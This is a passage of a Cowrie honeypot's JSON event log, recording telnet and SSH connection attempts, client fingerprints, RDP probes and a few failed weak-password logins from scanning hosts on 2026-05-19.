{"eventid":"cowrie.session.closed","duration":44.65816020965576,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:24.203279Z","src_ip":"192.119.13.58","session":"78f8dfc44eaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36292,"dst_ip":"10.17.0.5","dst_port":23,"session":"db4c0240cccc","protocol":"telnet","message":"New connection: 192.119.13.58:36292 (10.17.0.5:23) [session: db4c0240cccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:38.653859Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53048,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e843e49fb90","protocol":"telnet","message":"New connection: 192.119.13.58:53048 (10.17.0.5:23) [session: 8e843e49fb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:42.569844Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.115","src_port":42241,"dst_ip":"159.203.135.109","dst_port":23,"session":"014d97ca5bda","protocol":"telnet","message":"New connection: 91.231.89.115:42241 (159.203.135.109:23) [session: 014d97ca5bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:59.288666Z"}
{"eventid":"cowrie.session.closed","duration":0.052213191986083984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:59.340749Z","src_ip":"91.231.89.115","session":"014d97ca5bda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.115","src_port":60625,"dst_ip":"159.203.135.109","dst_port":23,"session":"46446ac1c2b7","protocol":"telnet","message":"New connection: 91.231.89.115:60625 (159.203.135.109:23) [session: 46446ac1c2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:59.410221Z"}
{"eventid":"cowrie.session.closed","duration":10.086918115615845,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:09.497030Z","src_ip":"91.231.89.115","session":"46446ac1c2b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.207","src_port":57349,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1e52541186","protocol":"telnet","message":"New connection: 91.231.89.207:57349 (159.203.135.109:23) [session: ab1e52541186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:22.393330Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03M\\xd5\\x91_\\x8a\\xbe\\x01\\xe3;\\xdb\\xb37t\\xd2G\\xe2\\xb3A\\x97\\xe8\\x022?\\xd1\\x8a\\x9f\\x1c\\x04\\x94,\\xd1\\xdd =o\\xa0\\xea\\x16\\xa42\\x1b\\x1fs\\x028\\xaah\\xee\\x11M\\xc3\\x9f\\x7f\\xa1\\xb6\\x98Oe>\\xf8B\\x91\\xcb<\\xeb\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'","password":"b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"","message":"login attempt [b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03M\\xd5\\x91_\\x8a\\xbe\\x01\\xe3;\\xdb\\xb37t\\xd2G\\xe2\\xb3A\\x97\\xe8\\x022?\\xd1\\x8a\\x9f\\x1c\\x04\\x94,\\xd1\\xdd =o\\xa0\\xea\\x16\\xa42\\x1b\\x1fs\\x028\\xaah\\xee\\x11M\\xc3\\x9f\\x7f\\xa1\\xb6\\x98Oe>\\xf8B\\x91\\xcb<\\xeb\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'/b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:22.405590Z","src_ip":"91.231.89.207","session":"ab1e52541186","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f159.203.135.109\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'","password":"\u0000\f\u0000","message":"login attempt [b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f159.203.135.109\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'/\u0000\f\u0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:22.411628Z","src_ip":"91.231.89.207","session":"ab1e52541186","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.10271072387695312,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:22.495818Z","src_ip":"91.231.89.207","session":"ab1e52541186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.112","src_port":59945,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5d647a09e73","protocol":"telnet","message":"New connection: 91.231.89.112:59945 (159.203.135.109:23) [session: b5d647a09e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:22.562596Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":61490,"dst_ip":"10.17.0.5","dst_port":22,"session":"406d6003c774","protocol":"ssh","message":"New connection: 141.11.21.145:61490 (10.17.0.5:22) [session: 406d6003c774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:25.060343Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:25.146094Z","src_ip":"141.11.21.145","session":"406d6003c774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":61496,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbcaa61192a6","protocol":"ssh","message":"New connection: 141.11.21.145:61496 (10.17.0.5:22) [session: fbcaa61192a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:25.218082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:25.223273Z","src_ip":"141.11.21.145","session":"fbcaa61192a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:25.305327Z","src_ip":"141.11.21.145","session":"fbcaa61192a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ms","password":"ms","message":"login attempt [ms/ms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:25.551780Z","src_ip":"141.11.21.145","session":"fbcaa61192a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.004392623901367,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:25.566851Z","src_ip":"91.231.89.112","session":"b5d647a09e73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.39852714538574,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:26.052294Z","src_ip":"192.119.13.58","session":"db4c0240cccc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39202,"dst_ip":"10.17.0.5","dst_port":23,"session":"03e912da11e5","protocol":"telnet","message":"New connection: 192.119.13.58:39202 (10.17.0.5:23) [session: 03e912da11e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:26.152452Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:26.639975Z","src_ip":"141.11.21.145","session":"fbcaa61192a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.376381397247314,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:27.946051Z","src_ip":"192.119.13.58","session":"8e843e49fb90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00335907936096,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:30.129456Z","src_ip":"177.185.59.2","session":"3620ec9b99f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.59.2","src_port":60444,"dst_ip":"10.17.0.5","dst_port":23,"session":"948f78e41b94","protocol":"telnet","message":"New connection: 177.185.59.2:60444 (10.17.0.5:23) [session: 948f78e41b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:30.421682Z"}
{"eventid":"cowrie.session.closed","duration":120.00352263450623,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:33.337296Z","src_ip":"177.185.59.2","session":"a4d591792b25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.59.2","src_port":60710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b87ff4c50ebd","protocol":"telnet","message":"New connection: 177.185.59.2:60710 (10.17.0.5:23) [session: b87ff4c50ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:33.617732Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59698,"dst_ip":"10.17.0.5","dst_port":23,"session":"024e119d6dc8","protocol":"telnet","message":"New connection: 192.119.13.58:59698 (10.17.0.5:23) [session: 024e119d6dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:57.413647Z"}
{"eventid":"cowrie.session.closed","duration":33.608206033706665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:37:59.760564Z","src_ip":"192.119.13.58","session":"03e912da11e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64260,"dst_ip":"10.17.0.5","dst_port":22,"session":"45a6c457bc2d","protocol":"ssh","message":"New connection: 152.42.212.128:64260 (10.17.0.5:22) [session: 45a6c457bc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:02.908072Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:02.917452Z","src_ip":"152.42.212.128","session":"45a6c457bc2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:02.921351Z","src_ip":"152.42.212.128","session":"45a6c457bc2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61768,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76fd4a63db3","protocol":"ssh","message":"New connection: 167.172.81.52:61768 (10.17.0.5:22) [session: c76fd4a63db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:13.274514Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:13.415171Z","src_ip":"167.172.81.52","session":"c76fd4a63db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:13.419900Z","src_ip":"167.172.81.52","session":"c76fd4a63db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56238,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b0a4c0dca8","protocol":"telnet","message":"New connection: 192.119.13.58:56238 (10.17.0.5:23) [session: 53b0a4c0dca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:16.642486Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46922,"dst_ip":"10.17.0.5","dst_port":23,"session":"75825e828760","protocol":"telnet","message":"New connection: 192.119.13.58:46922 (10.17.0.5:23) [session: 75825e828760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:28.104113Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47596,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb3366a89a1e","protocol":"telnet","message":"New connection: 192.119.13.58:47596 (10.17.0.5:23) [session: fb3366a89a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:28.269713Z"}
{"eventid":"cowrie.session.closed","duration":37.690101146698,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:35.103653Z","src_ip":"192.119.13.58","session":"024e119d6dc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":45286,"dst_ip":"159.203.135.109","dst_port":23,"session":"145511524bdd","protocol":"telnet","message":"New connection: 186.195.16.41:45286 (159.203.135.109:23) [session: 145511524bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:39.292210Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59160,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bff63971113","protocol":"telnet","message":"New connection: 192.119.13.58:59160 (10.17.0.5:23) [session: 2bff63971113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:51.778199Z"}
{"eventid":"cowrie.session.closed","duration":38.61268663406372,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:55.254986Z","src_ip":"192.119.13.58","session":"53b0a4c0dca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58652,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c6f83b96b3","protocol":"telnet","message":"New connection: 192.119.13.58:58652 (10.17.0.5:23) [session: 50c6f83b96b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:58.326178Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32890,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c155440c3f","protocol":"telnet","message":"New connection: 192.119.13.58:32890 (10.17.0.5:23) [session: 87c155440c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:58.886858Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37218,"dst_ip":"10.17.0.5","dst_port":23,"session":"b70b4919a904","protocol":"telnet","message":"New connection: 192.119.13.58:37218 (10.17.0.5:23) [session: b70b4919a904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:38:59.906277Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45106,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ab553d41dd0","protocol":"telnet","message":"New connection: 192.119.13.58:45106 (10.17.0.5:23) [session: 7ab553d41dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:01.867155Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":58676,"dst_ip":"159.203.135.109","dst_port":22,"session":"77948cb1a775","protocol":"ssh","message":"New connection: 80.66.85.226:58676 (159.203.135.109:22) [session: 77948cb1a775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:06.114230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:06.119332Z","src_ip":"80.66.85.226","session":"77948cb1a775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:06.211445Z","src_ip":"80.66.85.226","session":"77948cb1a775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loulou","message":"login attempt [root/loulou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:06.488081Z","src_ip":"80.66.85.226","session":"77948cb1a775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.71763801574707,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:06.987235Z","src_ip":"192.119.13.58","session":"fb3366a89a1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:07.582596Z","src_ip":"80.66.85.226","session":"77948cb1a775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.60126042366028,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:11.705133Z","src_ip":"192.119.13.58","session":"75825e828760","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac584396df5","protocol":"telnet","message":"New connection: 192.119.13.58:33850 (10.17.0.5:23) [session: 8ac584396df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:12.695426Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":56548,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e75e9011e6","protocol":"ssh","message":"New connection: 103.183.114.55:56548 (159.203.135.109:22) [session: 63e75e9011e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:15.386857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:15.391604Z","src_ip":"103.183.114.55","session":"63e75e9011e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 